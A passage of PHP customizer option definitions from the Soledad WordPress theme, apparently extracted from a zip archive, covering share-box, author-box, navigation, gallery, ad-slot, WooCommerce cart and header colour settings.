	'label'           => __( 'Sticky Share Style:', 'soledad' ),
	'id'              => 'penci_post_stickyshare_style',
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_post_stickyshare',
			'operator' => '==',
			'value'    => true,
		]
	],
);
$options[]                     = array(
	'default'         => 'left',
	'sanitize'        => 'penci_sanitize_choices_field',
	'label'           => __( 'Sticky Share Position:', 'soledad' ),
	'id'              => 'penci_post_stickyshare_pos',
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		'left'  => 'Left',
		'right' => 'Right',
	),
	'active_callback' => [
		[
			'setting'  => 'penci_post_stickyshare',
			'operator' => '==',
			'value'    => true,
		]
	],
);
$options[]                     = array(
	'default'         => 'below-content',
	'sanitize'        => 'penci_sanitize_choices_field',
	'label'           => __( 'Share Box Position', 'soledad' ),
	'id'              => 'penci_single_poslcscount',
	'description'     => '',
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		'btitle'             => __( 'Bellow Post Meta', 'soledad' ),
		'above-content'      => __( 'Above Content', 'soledad' ),
		'below-content'      => __( 'Below Content', 'soledad' ),
		'abovebelow-content' => __( 'Above & Below Content', 'soledad' ),
		'btitle-bcontent'    => __( 'Bellow Post Meta & Below Content', 'soledad' ),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_post_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$share_style                   = [];
for ( $i = 1; $i <= 23; $i ++ ) {
	$v                      = $i < 4 ? 's' : 'n';
	$n                      = $i < 4 ? $i : $i - 3;
	$share_style[ $v . $n ] = 'Style ' . $i;
}

$options[] = array(
	'default'         => 's1',
	'sanitize'        => 'penci_sanitize_choices_field',
	'label'           => __( 'Share Box Style', 'soledad' ),
	'id'              => 'penci_single_style_cscount',
	'description'     => '',
	'type'            => 'soledad-fw-select',
	'choices'         => $share_style,
	'active_callback' => [
		[
			'setting'  => 'penci_post_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'         => '',
	'sanitize'        => 'penci_sanitize_choices_field',
	'label'           => __( 'Share Box Bottom Style', 'soledad' ),
	'description'     => __( 'Apply for Above & Below Content and Bellow Post Meta & Below Content Share Position', 'soledad' ),
	'id'              => 'penci_single_style_bottom_cscount',
	'description'     => '',
	'type'            => 'soledad-fw-select',
	'choices'         => array_merge( [ '' => __( 'Follow Default Style', 'soledad' ) ], $share_style ),
	'active_callback' => [
		[
			'setting'  => 'penci_post_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'         => true,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Disable Social Share Plus Button', 'soledad' ),
	'id'              => 'penci_post_share_disbtnplus',
	'type'            => 'soledad-fw-toggle',
	'active_callback' => [
		[
			'setting'  => 'penci_post_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'id'              => 'penci_post_align_cscount',
	'default'         => 'default',
	'sanitize'        => 'penci_sanitize_choices_field',
	'label'           => __( 'Share Box Alignment', 'soledad' ),
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		'default' => __( 'Default Theme Style', 'soledad' ),
		'left'    => __( 'Left', 'soledad' ),
		'right'   => __( 'Right', 'soledad' ),
		'center'  => __( 'Center', 'soledad' ),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_post_share',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'     => 'author-postnav-related-comments',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Re-order "Author Box" - "Post Navigation" - "Related Posts" - "Comments" Sections', 'soledad' ),
	'id'          => 'penci_single_ordersec',
	'description' => '',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'author-postnav-related-comments' => __( 'Author Box - Post Navigation - Related Posts - Comments', 'soledad' ),
		'author-postnav-comments-related' => __( 'Author Box - Post Navigation - Comments - Related Posts', 'soledad' ),
		'author-comments-postnav-related' => __( 'Author Box - Comments - Post Navigation - Related Posts', 'soledad' ),
		'author-comments-related-postnav' => __( 'Author Box - Comments - Related Posts - Post Navigation', 'soledad' ),
		'author-related-comments-postnav' => __( 'Author Box - Related Posts - Comments - Post Navigation', 'soledad' ),
		'author-related-postnav-comments' => __( 'Author Box - Related Posts - Post Navigation - Comments', 'soledad' ),
		'postnav-author-related-comments' => __( 'Post Navigation - Author Box - Related Posts - Comments', 'soledad' ),
		'postnav-author-comments-related' => __( 'Post Navigation - Author Box - Comments - Related Posts', 'soledad' ),
		'postnav-comments-author-related' => __( 'Post Navigation - Comments - Author Box - Related Posts', 'soledad' ),
		'postnav-comments-related-author' => __( 'Post Navigation - Comments - Related Posts - Author Box', 'soledad' ),
		'postnav-related-comments-author' => __( 'Post Navigation - Related Posts - Comments - Author Box', 'soledad' ),
		'postnav-related-author-comments' => __( 'Post Navigation - Related Posts - Author Box - Comments', 'soledad' ),
		'related-author-comments-postnav' => __( 'Related Posts - Author Box - Comments - Post Navigation', 'soledad' ),
		'related-author-postnav-comments' => __( 'Related Posts - Author Box - Post Navigation - Comments', 'soledad' ),
		'related-comments-author-postnav' => __( 'Related Posts - Comments - Author Box - Post Navigation', 'soledad' ),
		'related-comments-postnav-author' => __( 'Related Posts - Comments - Post Navigation - Author Box', 'soledad' ),
		'related-postnav-author-comments' => __( 'Related Posts - Post Navigation - Author Box - Comments', 'soledad' ),
		'related-postnav-comments-author' => __( 'Related Posts - Post Navigation - Comments - Author Box', 'soledad' ),
		'comments-author-postnav-related' => __( 'Comments - Author Box - Post Navigation - Related Posts', 'soledad' ),
		'comments-author-related-postnav' => __( 'Comments - Author Box - Related Posts - Post Navigation', 'soledad' ),
		'comments-postnav-related-author' => __( 'Comments - Post Navigation - Related Posts - Author Box', 'soledad' ),
		'comments-postnav-author-related' => __( 'Comments - Post Navigation - Author Box - Related Posts', 'soledad' ),
		'comments-related-author-postnav' => __( 'Comments - Related Posts - Author Box - Post Navigation', 'soledad' ),
		'comments-related-postnav-author' => __( 'Comments - Related Posts - Post Navigation - Author Box', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Delayed Load "Author Box" - "Post Navigation" - "Related Posts" - "Comments" Sections', 'soledad' ),
	'id'       => 'penci_single_sec_delayed',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Author Box', 'soledad' ),
	'id'       => 'penci_post_author',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Top of the Author Box', 'soledad' ),
	'id'       => 'penci_post_author_rm_bt',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Email Icon of Author on Author Box', 'soledad' ),
	'id'       => 'penci_post_author_email',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Uppercase for Author Name on Author Box', 'soledad' ),
	'id'       => 'penci_bio_upper_name',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Author Box Style', 'soledad' ),
	'id'          => 'penci_authorbio_style',
	'description' => '',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'style-1' => __( 'Default', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
	)
);
$options[] = array(
	'default'     => 'round',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Author Box Image Type', 'soledad' ),
	'id'          => 'penci_bioimg_style',
	'description' => '',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'round'  => 'Round',
		'square' => 'Square',
		'sround' => 'Round Borders',
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Sticky Next/Prev Posts', 'soledad' ),
	'id'       => 'penci_post_sticky_rlposts',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '10',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Sticky Next/Prev Posts: Limit Title Length', 'soledad' ),
	'id'       => 'penci_post_sticky_rlposts_tlength',
	'type'     => 'soledad-fw-number',
	'active_callback' => array(
		array(
			'setting'  => 'penci_post_sticky_rlposts',
			'operator' => '==',
			'value'    => true,
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Next/Prev Posts Navigation', 'soledad' ),
	'id'       => 'penci_post_nav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Top of Next/Prev Post Navigation', 'soledad' ),
	'id'       => 'penci_post_nav_rm_bt',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Next/Prev Post Navigation Style', 'soledad' ),
	'id'       => 'penci_post_pagination_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'style-1' => esc_html__( 'Style 1', 'soledad' ),
		'style-2' => esc_html__( 'Style 2', 'soledad' ),
		'style-3' => esc_html__( 'Style 3', 'soledad' ),
		'style-4' => esc_html__( 'Style 4', 'soledad' ),
		'style-5' => esc_html__( 'Style 5', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase in Post Title Next/Prev Post Navigation', 'soledad' ),
	'id'       => 'penci_off_uppercase_post_title_nav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show Post Thumbnail on Next/Prev Post Navigation', 'soledad' ),
	'description' => __( 'This option applies to Post Navigation Style 1', 'soledad' ),
	'id'          => 'penci_post_nav_thumbnail',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Lines Before & After of Heading Title on Related & Comments', 'soledad' ),
	'id'       => 'penci_post_remove_lines_related',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Gallery Feature from This Theme', 'soledad' ),
	'id'       => 'penci_post_disable_gallery',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Delayed Load Main Post Content on Mobile', 'soledad' ),
	'id'       => 'penci_single_delayed_content',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Video Floating', 'soledad' ),
	'description' => __( 'This option apply for the post format Video. The video will float in the corner as you scroll down outside the main video at the top.', 'soledad' ),
	'id'          => 'penci_video_float',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'bottom-right',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Video Floating Position', 'soledad' ),
	'id'       => 'penci_video_float_position',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'top-left'     => esc_html__( 'Top Left', 'soledad' ),
		'bottom-left'  => esc_html__( 'Bottom Left', 'soledad' ),
		'top-right'    => esc_html__( 'Top Right', 'soledad' ),
		'bottom-right' => esc_html__( 'Bottom Right', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Floating Video Mobile Width', 'soledad' ),
	'id'       => 'penci_video_float_mw',
	'type'     => 'soledad-fw-hidden',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Floating Video Width', 'soledad' ),
	'id'       => 'penci_video_float_w',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_video_float_w',
		'mobile'  => 'penci_video_float_mw',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Maximum Content Height on Mobile', 'soledad' ),
	'id'       => 'penci_single_content_hm',
	'type'     => 'soledad-fw-hidden',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Maximum Content Height', 'soledad' ),
	'description' => __( 'This option will limit the main post content and display a "Read More" button.', 'soledad' ),
	'id'          => 'penci_single_content_h',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_single_content_h',
		'mobile'  => 'penci_single_content_hm',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Extra Author Option', 'soledad' ),
	'id'       => 'penci_disable_extra_author',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'justified',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Default Gallery Style from The Theme', 'soledad' ),
	'id'       => 'penci_gallery_dstyle',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'justified'        => __( 'Justified Style', 'soledad' ),
		'masonry'          => __( 'Masonry Style', 'soledad' ),
		'grid'             => __( 'Grid Style', 'soledad' ),
		'single-slider'    => __( 'Single Slider', 'soledad' ),
		'thumbnail-slider' => __( 'Single Slider with Thumbnail', 'soledad' ),
		'none'             => __( 'None', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '150',
	'sanitize' => 'absint',
	'label'    => __( 'Custom the height of images on Justified Gallery style', 'soledad' ),
	'id'       => 'penci_image_height_gallery',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_image_height_gallery',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => 'main-sidebar',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Sidebar for Single', 'soledad' ),
	'id'          => 'penci_sidebar_name_single',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option()
);
$options[] = array(
	'default'     => 'main-sidebar-left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Sidebar Left for Single', 'soledad' ),
	'id'          => 'penci_sidebar_left_name_single',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar. This option just apply when you use 2 sidebars for Single', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option()
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Ads on Single Posts', 'soledad' ),
	'id'       => 'penci_singleads_bheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Add Ads/Custom HTML Code Inside Posts Content', 'soledad' ),
	'id'          => 'penci_ads_inside_content_html',
	'description' => '',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
);
$options[] = array(
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Add Ads/Custom HTML Code Inside Posts Content:', 'soledad' ),
	'id'       => 'penci_ads_inside_content_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'style-1' => 'After Each X Paragraphs - Repeat',
		'style-2' => 'After X Paragraphs - No Repeat'
	)
);
$options[] = array(
	'default'  => '4',
	'sanitize' => 'absint',
	'label'    => __( 'Add Ads/Custom HTML Code Inside Posts Content After How Many Paragraphs?', 'soledad' ),
	'id'       => 'penci_ads_inside_content_num',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_ads_inside_content_num',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'default'   => '',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Add Google Adsense/Custom HTML code For Post Template Style 10', 'soledad' ),
	'id'        => 'penci_post_adsense_single10',
	'type'      => 'soledad-fw-code',
	'code_type' => 'text/html',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Add Google Adsense/Custom HTML code below post description', 'soledad' ),
	'id'          => 'penci_post_adsense_one',
	'description' => '',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Add Google Adsense/Custom HTML code at the end of content posts', 'soledad' ),
	'id'          => 'penci_post_adsense_two',
	'description' => '',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
);

return $options;
PK     0w\q6  6  @  customizer/config/sections/pencidesign_woo_cart_page_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'          => 'penci_shop_product_cross_sell_columns',
	'default'     => 4,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Cross Sell Product Columns', 'soledad' ),
	'description' => __( 'How many products should be shown per row on cross sell section ?', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_woo_cart_breadcrumb_active_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Breadcrumb Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_breadcrumb_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Breadcrumb Active Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_tablehead_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Head Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_table_border_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table General Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_table_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table General Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_table_product_title_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Product Title Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_table_product_title_hover_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Product Title Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_table_product_price_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Product Price Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_btn_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_btn_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_btn_hover_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_btn_hover_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Hover Text Color', 'soledad' ),
);
// secondary button
$options[] = array(
	'id'        => 'penci_woo_cart_sbtn_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Alt Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_sbtn_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Alt Button Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_sbtn_hover_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Alt Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_sbtn_hover_txt_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Alt Button Hover Text Color', 'soledad' ),
);
// delete button
$options[] = array(
	'id'        => 'penci_woo_cart_del_btn_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Delete Item Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_del_btn_hv_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Delete Item Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_woo_cart_empty_title',
	'default'   => 'Your cart is currently empty',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_text_field',
	'label'     => __( 'Empty Cart Title', 'soledad' ),
	'type'      => 'soledad-fw-text'
);
$options[] = array(
	'id'        => 'penci_woo_cart_empty_textarea',
	'default'   => 'You don\'t have any products in the shop yet. <br> You will find a lot of interesting products on our "Shop" page.',
	'transport' => 'refresh',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Empty Cart Text', 'soledad' ),
	'type'      => 'soledad-fw-textarea'
);
$options[] = array(
	'id'        => 'penci_woo_cart_before_content',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Custom Content Before Cart Table', 'soledad' ),
	'type'      => 'soledad-fw-textarea'
);
$options[] = array(
	'id'        => 'penci_woo_cart_after_content',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Custom Content After Cart Table', 'soledad' ),
	'type'      => 'soledad-fw-textarea',
);

return $options;
PK     0w\s	  	  K  customizer/config/sections/pencidesign_logo_header_colors_trans_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Social Icons Color', 'soledad' ),
	'id'       => 'penci_header_tran_social_color',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Social Icons Color Hover', 'soledad' ),
	'id'       => 'penci_header_tran_social_color_hover',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search, Shopping Cart & Mobile Bars Icons Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_search_magnify',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Close Search Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_close_color',
);

$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Slogan Text', 'soledad' ),
	'id'       => 'penci_section_trslogan_text_heading',
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Slogan Text Color', 'soledad' ),
	'id'       => 'penci_header_tran_slogan_color',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Slogan Line Color', 'soledad' ),
	'id'       => 'penci_header_tran_slogan_line_color',
);

$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Primary Menu', 'soledad' ),
	'id'       => 'penci_section_traprimary_menu_heading',
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Menu Text Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_nav_color',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Menu Text Hover & Active Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_color_active',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Padding Menu Items Background Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_padding_color',
);

return $options;
PK     0w\T^  T^  A  customizer/config/sections/penci_section_spost_colors_section.phpnu [        <?php
$options         = [];
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Single Categories Accent Color', 'soledad' ),
	'id'       => 'penci_single_cat_color',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Color', 'soledad' ),
	'id'       => 'penci_single_title_color',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post SubTitle Color', 'soledad' ),
	'id'       => 'penci_single_subtitle_color',
);
$options[]       = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_single_meta_color',
);
$more_opt_single = array(
	'penci_single_color_title_s568'    => esc_html__( 'Post Title Color for Template Style 5, 6, 8, 13, 21', 'soledad' ),
	'penci_single_color_subtitle_s568' => esc_html__( 'Post SubTitle Color for Template Style 5, 6, 8, 13, 21', 'soledad' ),
	'penci_single_color_cat_s568'      => esc_html__( 'Categories Color for Template Style 5, 6, 8, 13, 21', 'soledad' ),
	'penci_single_color_meta_s568'     => esc_html__( 'Color for Posts Meta on Template Style 5, 6, 8, 13, 21', 'soledad' ),
	'penci_single_bgcolor_header'      => esc_html__( 'Header Background for Template Style 9 & 10', 'soledad' ),
	'penci_single_color_title_s10'     => esc_html__( 'Post Title Color for Template Style 10', 'soledad' ),
	'penci_single_color_subtitle_s10'  => esc_html__( 'Post SubTitle Color for Template Style 10', 'soledad' ),
	'penci_single_color_cat_s10'       => esc_html__( 'Categories Color for Template Style 10', 'soledad' ),
	'penci_single_color_meta_s10'      => esc_html__( 'Color for Posts Meta on Template Style 10', 'soledad' ),
	'penci_single_color_bread_s10'     => esc_html__( 'Color for Breadcrumb on Template Style 10', 'soledad' ),
	'penci_single_13_bgcolor'     	   => esc_html__( 'Background Color on Template Style 13', 'soledad' ),
	'penci_single_15_bgcolor'     	   => esc_html__( 'Background Color on Template Style 15', 'soledad' ),
	'penci_single_18_bgcolor'     	   => esc_html__( 'Background Color on Template Style 18', 'soledad' ),
	'penci_single_21_obgcolor'     	   => esc_html__( 'Background Overlay Color on Template Style 21', 'soledad' ),
);
foreach ( $more_opt_single as $opt_single_color_id => $opt_single_color_label ) {
	$desc = '';
	if ( 'penci_single_color_title_s568' == $opt_single_color_id || 'penci_single_color_subtitle_s568' == $opt_single_color_id || 'penci_single_color_cat_s568' == $opt_single_color_id || 'penci_single_color_meta_s568' == $opt_single_color_id ) {
